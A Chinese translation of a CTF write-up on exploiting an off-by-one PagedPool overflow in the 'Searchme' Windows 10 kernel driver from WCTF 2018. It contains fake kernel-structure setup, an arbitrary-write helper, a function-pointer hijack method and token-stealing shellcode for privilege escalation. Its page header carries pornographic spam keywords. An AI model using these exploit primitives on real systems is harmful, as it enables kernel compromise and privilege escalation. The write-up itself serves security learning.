压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

利用Windows 10 PagedPool off-by-one溢出(WCTF 2018)

在7月6-8日的周末,我們的CTF團隊-Dragon Sector-參加了在北京舉行的一場名為WCTF的邀請賽。 其他參與者是來自世界各地的頂級團隊(e.g. Shellphish, ESPR, LC?BC or Tokyo Westerns), 比賽的獎金總額達到了驚人的10萬美元。這個CTF的一個特殊的規則是這些挑戰是由團隊自己而不是組織者準備的。 10個隊伍每一隊都要求提供兩個題目,其中一個要求必須在Windows上運行。允許遠程幫助,評分系統提供了一、二、三血加分獎勵。在挑戰比賽完成之后隨之而來的是下一環節,陪審團和參與者在舞臺上展示自己的題目時會獲得額外的分數。

經過兩天的競爭,我們作為CTF的亞軍,完成了6/18項挑戰任務, 排在冠軍Tokyo Westerns (7/18)后面。

t01a948803e282c8de3

我對上述結果的貢獻是通過Eat, Sleep, Pwn, Repeat拿到“Searchme” 這一題的flag。它涉及利用Windows 10 64位中加載的易受攻擊的內核驅動程序造成的PagedPool分配的off-by-one緩沖區溢出。 在CTF之后不久,原作者(@_niklasb)發布了驅動程序的源代碼和相應的漏洞(github源碼niklasb/elgoog 、Twitter 上討論),這表示我解法的一部分是非預期的。Niklas 使用off-by-one 來破壞分配元數據并且執行一些pool feng-shui 去得到覆蓋的pool塊。另一方面,我在沒有觸及任何pool元數據的情況下,通過data-only的攻擊實現了類似的結果,這使得整個利用過程更加簡單。 我鼓勵您仔細分析Niklas的漏洞,如果您對我的方法感興趣,請繼續跟著做。

如果你想直接跳到exploit代碼, 在這兒GitHub 。

初步觀察

作為任務的一部分,我們提供了一個64位的Windows內核驅動程序,名為 searchme.sys 14kB的大小,有如下描述:

<ip> 3389 flag is here: c:flag.txt, User:ctf, password:ctf

當我通過RDP連接到遠程主機時,我可以作為一個常規的“ctf”用戶登錄。 searchme.sys 驅動程序被加載到系統中,想要在磁盤上拿到C:flag.txt 文件。但是正如預期那樣,這個賬戶不能安全的讀取:

t019b504153add3f8a0

在這一點上,很明顯,挑戰的目標是在searchme.sys中利用內核模式的漏洞,將權限提升到管理員或系統權限,然后從受保護的文件中讀取flag。 當我在IDA Pro中加載這個模塊時,我很快就發現它在設備DeviceSearchme 下注冊了一個設備,并使用緩沖的Buffered I/O 通信方案操作四個IOCTLs :

  • 0x222000 – allocates an empty object from PagedPool, saves it in a global array and returns its address to the caller(從PagedPool分配一個空對象,將其保存到全局數組中,并將其地址返回給調用者)
  • 0x222004 – frees a previously allocated object(釋放先前分配的對象)
  • 0x222008 – adds a pair of (char[16], uint32) to an existing object(將一對(char 16,uint32)添加到現有對象中)
  • 0x22200C – transforms an existing object of type-0 to type-1 in a one-way, irreversible manner.(以一種單向的、不可逆轉的方式將type-0的現有對象轉換為type-1)。

由于IOCTLs 和 and #2 是不重要的,該漏洞肯定隱藏在#3或#4的實現中。 我簡單地對在驅動程序中找到的整個代碼進行了逆向工程(在Redford和impr的幫助下),以掌握它的功能,重命名符號并修復數據類型。 很明顯,驅動程序維護了一個哈希映射,將文本字符串與數值列表相關聯,而某種類型的二進制數據結構涉及到type-1對象,但是我仍然沒有完全理解代碼的基本目的(后來證明是 binary interpolative code ).我也沒有發現任何明顯的利用點,但我注意到兩種可疑的行為:

  1. 在處理0x222008時,驅動程序不允許在與字符串標記關聯的整數列表中重復。然而,它只檢查了新添加的值,而不是在列表后面的那個。 比如:[1,2,2]列表由于相同的連續數而不被允許,但是[2,1,2]可以很好地創建。 考慮到這個列表是在稍后被另一個IOCTL處理的時候排序的,這似乎特別奇怪,這可能會使重復檢測的整個點失效。
  2. 在0x22200C處理器調用的嵌套函數中,找到了以下代碼結構:
if (*cur_buf > buf_end) {
  return 1;
}

? 假設buf_end是有效緩沖區之外的最小地址,這可能表示一個off-by-one error,否則比較應該使用>=操作符。因為比較應該另外使用>=運算符。由于遵循上面討論的線索可能會耗費大量時間,所以我決定嘗試一個更簡單的路線,看看我是否能通過愚蠢的Fuzzing來觸發任何崩潰。 這將允許我從一個已知的壞狀態開始我的分析,而不是在一開始就花費時間搜索內存損壞原函數。

Fuzzing 驅動程序

在fuzzing的環境下,驅動程序的通信接口被限制為4個簡單的操作這個是很方便的,在開發階段,我圍繞deviceIoControl創建了幾個包裝函數,這些函數后來在實際的EXP中被重用。 fuzzer的核心非常簡單-它以隨機的方式無限地調用一個IOCTLs,但是格式化正確的輸入參數(token=["aa","bb"], value=[0..9]). 在為searchme.sys啟用Special Pool并啟動fuzzer之后,只需幾秒鐘就可以在WinDbg中看到以下崩潰:

DRIVER_PAGE_FAULT_BEYOND_END_OF_ALLOCATION (d6)
N bytes of memory was allocated and more than N bytes are being referenced.
This cannot be protected by try-except.
When possible, the guilty driver's name (Unicode string) is printed on
the bugcheck screen and saved in KiBugCheckDriver.
Arguments:
Arg1: ffffd9009c68b000, memory referenced
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation
Arg3: fffff8026b482628, if non-zero, the address which referenced memory.
Arg4: 0000000000000000, (reserved)

[...]

TRAP_FRAME:  ffff820b43580360 -- (.trap 0xffff820b43580360)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=ffffd9009c68b000 rbx=0000000000000000 rcx=00000000fffffffe
rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000000000
rip=fffff8026b482628 rsp=ffff820b435804f8 rbp=0000000000000000
 r8=ffffd9009c68b000  r9=0000000000000000 r10=00007ffffffeffff
r11=ffff820b435804f0 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
searchme+0x2628:
fffff802`6b482628 0fbe00          movsx   eax,byte ptr [rax] ds:ffffd900`9c68b000=??

崩潰發生在searchme+0x2628處,處在一個位寫入函數—同樣具有可以的*cur_buf > buf_end 比較語句。進一步的分析和實驗 (e.g. fuzzing 沒有Special Pool的環境) 證實了溢出確實被限制為一個字節 。

就在那時,我靈機一動—-不久之前我看到過類似的代碼!在快速的檢查之后,結果證明是真的。“searchme” 任務實際上是幾個月前從 34C3 中對 elgoog2 修改和重新編譯的版本。這個發現的直接好處是“elgoog”任務附帶了調試符號,包括結構定義、函數名等等。 在做了更多的調查之后,我發現了這條推文,它導致了這篇簡短的write-up,以及來自shiki7的來自Tea Deliverers的 exploit 。 “SearchMe”中修補了非計劃中的類型混淆bug,因此舊的exploit不再有效,但它仍然提供了一些有價值的見解。 此外,Niklas對Point(1)中的池緩沖區溢出的描述加強了我的信念,即這是要在這里利用的預期的bug。

因此,接下來的一兩個小時,我把符號從“elgoog”移到我的“SearchMe”IDA數據庫。

控制溢出

通過查看fuzzer發送的一系列命令來觸發崩潰,我了解到溢出確實是由“compressing” (IOCTL0x22200C)造成的,該對象包含一個帶有重復條目的標記。由于我只能在分配的緩沖區之外寫入一個字節,因此很可能需要仔細控制它的值。即使在調試符號的幫助下,我仍然不確定代碼構造了什么數據結構,因此—如何精確地控制其內容。

為了避免浪費時間對算法進行深入研究,我無恥地復制了插值函數的大小和寫插值函數 (及其依賴項)從十六進制反編譯器到VisualStudio,并編寫了一個簡單的蠻力程序,測試各種隨機輸入列表的溢出字節。該工具的要點歸結為以下幾點:

// Fill input_buffer with random numbers and sort it.

memset(output_buffer, 0xaa, sizeof(output_buffer));
char *buf = output_buffer;

write_interpolative(&buf, input_buffer, 1, ARRAYSIZE(input_buffer) - 1);

size_t calculated = (interpolative_size(input_buffer, 1, ARRAYSIZE(input_buffer) - 1) + 7) / 8;
ptrdiff_t written = buf - output_buffer - 1;

if (written > 0 && calculated > 0 && written > calculated) {
  const char kSearchedByte = 0;

  if (output_buffer[calculated] == kSearchedByte) {
    // Print input_buffer.
  }
}

根據所需的值,可以操作input_buffer的長度和輸入數字的范圍。對于簡單的0x00值,只需在[0,9]范圍內使用5個數字就可以實現所需的效果:

C:> brute.exe
calculated: 4, written: 11, last byte: 0x00
input_buffer = {0, 1, 1, 1, 2}

calculated: 1, written: 4, last byte: 0x00
input_buffer = {0, 3, 4, 5, 5}

calculated: 1, written: 4, last byte: 0x00
input_buffer = {5, 7, 8, 9, 9}

[...]

有了選擇溢出我們分配的單個字節的能力,是時候將基元提升到一個更強大的字節了。

Data-only pool 破壞

如今使用的大多數動態分配器將元數據放在分配的內存塊前面,這在歷史上促進了許多通用堆利用技術。另一方面,它現在可能會使對小溢出的利用變得困難,因為元數據將特定于應用程序的對象彼此分離,并且常常受到廣泛的完整性檢查。必須在此提及以下兩點參考: A Heap of Trouble: Breaking the Linux Kernel SLOB Allocator (Dan Rosenberg, 2012) and The poisoned NUL byte, 2014 edition (Chris Evans and Tavis Ormandy, 2014).

在他的計劃方案, Niklas還使用pool元數據破壞來混淆內核池分配器,因此有兩個不同的對象相互重疊,以實現更有用的基元。 這是一種有效的方法,但是它要求開發人員意識到分配器的內部工作原理,并精確地設置pool的布局以保證可靠的開發。 作為個人偏好,我發現攻擊特定于程序的對象比內部系統結構更容易,所以我憑直覺開始尋找解決這個問題的方法。

這可能是一個鮮為人知的事實,在Windows內核中,小的分配(適合于單個內存頁)的處理方式與大內存頁不同 ,對于一些過時但仍然相關的細節, 看 Kernel Pool Exploitation on Windows 7 (Tarjei Mandt, 2011) and Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool (Alex Ionescu, 2014). 在這個特定的例子中,我們感興趣的是大池塊的兩個屬性:

  • 元數據是分開存儲的,所以分配從頁面對齊的地址開始,比如0xffffa803f5892000。
  • 這些塊通常在內存中相鄰;例如,兩個連續的0x1000大小的分配可以分別映射到0xffffa803f58920000xffffa803f5893000

在易受攻擊的驅動程序中,我們可以精確地控制溢出的塊的大小,直到大小為0x10000(16頁)。 這足以將兩個大的對象放在相鄰的位置上,我們甚至可以確定相鄰區域的精確對,這要歸功于IOCTLs明顯地返回所創建對象的內核模式地址。 我在CTF期間編寫的一個簡單工具成功地證實了這一點, 它創建了8個0x2000字節長的索引,并比較了它們的地址。產出與以下內容相似:

C:>adjacent.exe
[+] Source Index: ffffa803f2f79cb0
[1] Adjacent objects: ffffa803f61db000 --> ffffa803f61dd000
[2] Adjacent objects: ffffa803f61dd000 --> ffffa803f61df000
[3] Adjacent objects: ffffa803f61df000 --> ffffa803f61e1000
[4] Adjacent objects: ffffa803f61e1000 --> ffffa803f61e3000
[5] Adjacent objects: ffffa803f61e3000 --> ffffa803f61e5000
[6] Adjacent objects: ffffa803f61e5000 --> ffffa803f61e7000
[7] Adjacent objects: ffffa803f61e7000 --> ffffa803f61e9000

正如您所看到的,所有對象實際上都是在一個連續的0x10000字節塊中相互映射的。 如果我們隨后釋放所有其他對象,在pool中創建 “holes” ,并立即分配一個由驅動程序覆蓋的相同大小的新塊,那么溢出應該與相鄰索引對象的第一個字節重疊。如圖所示:

t01cfdee4451f7e7c13

在這一點上,我們應該查看存儲在第一字節中的信息類型。事實證明,它是一個32位整數的最小有效字節,它指示對象的類型(type-0規則型,type -1壓縮型)。常規對象的結構定義如下所示 :

struct _inverted_index {
  /* +0x00 */ int compressed;
  /* +0x08 */ _ii_token_table *table;
};

如果壓縮成員為非零,則結構的布局非常不同 :

struct _compressed_index {
  /* +0x00 */ int compressed;
  /* +0x04 */ int size;
  /* +0x08 */ int offsets[size];
  /* +0x?? */ char data[...];
};

由于對象的類型為0x00000000或0x00000001,我們的單字節溢出使我們能夠將對象的類型從compressed_index 改為 inverted_index 。 類型混淆有一些方便的基元-在上面的結構中,我們可以看到偏移量8處的表指針與offsets[0] 和offsets[1] 的項重疊。 偏移數組中的值是相對于壓縮索引的壓縮數據的偏移量,因此它們相對較小。在我們的測試中,它們分別等于0x558和0x56C。

當二者組合并理解為64位地址時 ,這兩個值形成了以下指針 :0x0000056c00000558. 它不是常規應用程序中經常看到的典型地址,但它是一個規范的用戶模式地址,可以由程序使用簡單的Virtualalloc調用。 換句話說,類型混淆允許用戶將敏感的內核模式指針重定向到用戶空間,并對由驅動程序使用的_II_Token_Table結構進行完全控制。

如果我們在poc中實現了所討論的邏輯,將對象的類型從1更改為0,然后嘗試向損壞的索引中添加一個新的(keyword, value)對,則在searchme.sys嘗試從0x0000056c00000558取消引用內存時,我們應該觀察到以下系統崩潰:

SYSTEM_SERVICE_EXCEPTION (3b)
An exception happened while executing a system service routine.
Arguments:
Arg1: 00000000c0000005, Exception code that caused the bugcheck
Arg2: fffff8008b981fea, Address of the instruction which caused the bugcheck
Arg3: ffff948fa7516c60, Address of the context record for the exception that caused the bugcheck
Arg4: 0000000000000000, zero.

[...]

CONTEXT:  ffff948fa7516c60 -- (.cxr 0xffff948fa7516c60)
rax=000000009b82a44c rbx=ffffcc8a26af7370 rcx=0000056c00000558
rdx=0000000000000000 rsi=ffffcc8a273fc20c rdi=ffff948fa75177d4
rip=fffff8008b981fea rsp=ffff948fa7517650 rbp=ffffcc8a2876fef0
 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffcc8a2876fef0 r13=ffffcc8a29470180
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
searchme+0x1fea:
fffff800`8b981fea 48f77108        div     rax,qword ptr [rcx+8] ds:002b:0000056c`00000560=????????????????

讓我們更仔細地研究受控的 _ii_token_table 結構所提供的功能。

拿到一個任意寫的身份

基于elgoog符號文件,我恢復了_II_Token_table和相關的_II_POST_List結構的原型,并將它們寫成以下C定義:

struct _ii_posting_list {
  char token[16];
  unsigned __int64 size;
  unsigned __int64 capacity;
  unsigned int data[1];
};

struct _ii_token_table {
  unsigned __int64 size;
  unsigned __int64 capacity;
  _ii_posting_list *slots[1];
};

在許多方面,上面的數據結構類似于C++中的std:map<string、std:Vector<unsiveint>結構。 當程序請求向索引中添加一個新的(token, value)對時,代碼遍歷slots 數組以查找與所提供的token相對應的posting列表,一旦找到,輸入值將用以下表達式追加到列表中, 并帶有以下表達式:

PostingList.data[PostingList.size++] = value;

考慮到Token表在我們的控制下, _ii_posting_list.size 字段是64位寬的,并且我們知道假posting列表的基址,這種行為轉換為任意寫基元是非常簡單的。 首先,我們在靜態內存中聲明假的posting列表,其中有一個已知的名稱(“fake”) 和容量等于UINT64_MAX:

namespace globals {

_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };

}  // namespace globals

然后,我們編寫一個函數來初始化特殊0x0000056c00000558地址的偽token表:

BOOLEAN SetupWriteWhatWhere() {
  CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
  CONST PVOID kTableBase = (PVOID)0x0000056c00000000;

  if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
    printf("[-] Unable to allocate fake base.n");
    return FALSE;
  }

  _ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
  TokenTable->size = 1;
  TokenTable->capacity = 1;
  TokenTable->slots[0] = &globals::PostingList;

  return TRUE;
}

最后,我們添加一個助手函數來觸發4字節任意寫條件:

VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
  globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);

  AddToIndex(CorruptedIndex, What, "fake");
}

有了這些,我們就可以測試它的工作原理:

WriteWhatWhere4(CorruptedIndex, 0x4141414141414141LL, 0x42424242);

這將在易受攻擊的驅動程序中觸發以下異常:

CONTEXT:  ffff9609683dacb0 -- (.cxr 0xffff9609683dacb0)
rax=00007ff6a90b2930 rbx=ffffe48f8135b5a0 rcx=10503052a60d85fc
rdx=0000000042424242 rsi=ffffe48f82d7d70c rdi=ffff9609683db7d4
rip=fffff8038ccc1905 rsp=ffff9609683db6a0 rbp=ffffe48f82c79ef0
 r8=0000000000000001  r9=0000000000000014 r10=0000000000000000
r11=0000000000000000 r12=ffffe48f82c79ef0 r13=ffffe48f81382ac0
r14=0000000000000002 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
searchme+0x1905:
fffff803`8ccc1905 3954881c        cmp     dword ptr [rax+rcx*4+1Ch],edx ds:002b:41414141`4141413c=????????

上面的崩潰日志并不能完全說明“寫”操作,因為之前的一些無意義的閱讀清單。數據,但攻擊是有效的。

執行shellcode

在這一點上,我可以寫任意的內核內存但是不能讀,這就排除了直接從用戶模式執行data-only attacks 的選項。 然而,使用任意寫的基元,執行ring-0 shellcode 應該只是一種形式 。在這種情況下,它變得更容易了,因為這個漏洞是在Medium完整性的情況下運行的,所以它可以訪問內核模塊的基本地址,并且可以通過NtQuerySystemInformation 的各種信息類獲得其他有用的地址。

Black Hat USA 2017 talk 中,Morten Schenk提出,可以使用任意寫入來覆蓋駐留在win32kbase.sys 的.Data部分中的內核函數指針,更具體地說,可以覆蓋來自NtGdiDdDDI*系列的圖形系統使用的win32kbase!gDxgkInterface表中的內核函數指針。 實際上,系統調用處理程序是函數指針的簡單包裝器,并且不會破壞通過rcx、rdx、…寄存器傳遞的任何參數。,例如:

t017affc8926ec9426e

這允許攻擊者用受控的參數來調用任意的內核函數,并接收返回值。正如Morten所討論的,完整的利用過程只有幾個簡單的步驟:

  1. nt!ExAllocatePoolWithTag地址覆蓋函數指針。
  2. 使用非PagedPool參數調用例程來分配可寫/可執行內存。
  3. 將ring-0 shellcode 寫入分配的內存
  4. 用shellcode的地址覆蓋函數指針。
  5. 調用shellcode.

上述方案使得能夠在不破壞系統狀態的情況下干凈地執行所需的payload(除了一個覆蓋的指針)。在他的論文中,Morten建議使用NtGdiDdDDICreateAllocation作為代理SysCall, 但是我發現它在Windows中的使用非常頻繁,如果指針沒有及時修復,系統就會出現故障。為了讓我的生活更輕松一點,我選擇了一種使用頻率較低的服務,它似乎完全被我的exploit所調用:NtGdiDdDDIGetContextSchedulingPriority.

在實現代碼中的邏輯之后,我可以享受任意的內核代碼執行——在本例中,一個單獨的int3指令:

kd> g
Break instruction exception - code 80000003 (first chance)
ffffc689`b8967000 cc              int     3

0: kd> u
ffffc689`b8967000 cc              int     3
ffffc689`b8967001 c3              ret
[...]

0: kd> !pool @rip
Pool page ffffc689b8967000 region is Nonpaged pool
*ffffc689b8967000 : large page allocation, tag is ...., size is 0x1000 bytes
        Owning component : Unknown (update pooltag.txt)

提權

在Windows中,提高系統權限的一種更簡單的方法是“竊取”系統進程的安全Token并將其復制到當前進程(特別是EPROCESS.Token)。 系統進程的地址可以在ntoskrnl.exe映像的靜態內存中找到,位于nt!PsInitialSystemProcess 下面。 由于攻擊只涉及在兩個內核結構之間復制一個指針,shellcode 只包含六個指令:

// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000  65488B0425880100  mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009  488B80B8000000    mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010  488B09            mov rcx, [rcx]
// 00000013  488B8958030000    mov rcx, [rcx + EPROCESS.Token]
// 0000001A  48898858030000    mov [rax + EPROCESS.Token], rcx
// 00000021  C3                ret
CONST BYTE ShellcodeBytes[] = "x65x48x8Bx04x25x88x01x00x00x48x8Bx80xB8x00x00x00"
                              "x48x8Bx09x48x8Bx89x58x03x00x00x48x89x88x58x03x00"
                              "x00xC3";

Getting the flag

一旦替換了工具過程的安全token,我們就可以完全控制操作系統。我們可以啟動一個提升的命令提示符并讀取flag:

t01761b673cce128728

總而言之,在大約15個小時的工作之后,這個exploit已經發揮了作用,并為我們的一(也是最后一個)血獎金提供了120分+30分。 感謝Niklas創造了這個有趣的挑戰,也感謝WCTF組織者舉辦了這次比賽。我認為這個任務和它的解決方案巧妙地說明了即使在今天,從理論上講,在適當的環境條件下,在內核池中出現的小錯誤,例如在內核池中溢出的bug可能在概念上很容易被利用。在Windows中,緩沖區溢出的利用還沒有死。:)

提醒,該exploit的完整源代碼可以在GitHub上找到。

原文地址:https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/

上一篇:身份管理如何驅動安全

下一篇:提升事件響應準備度的3種新興技術

站长统计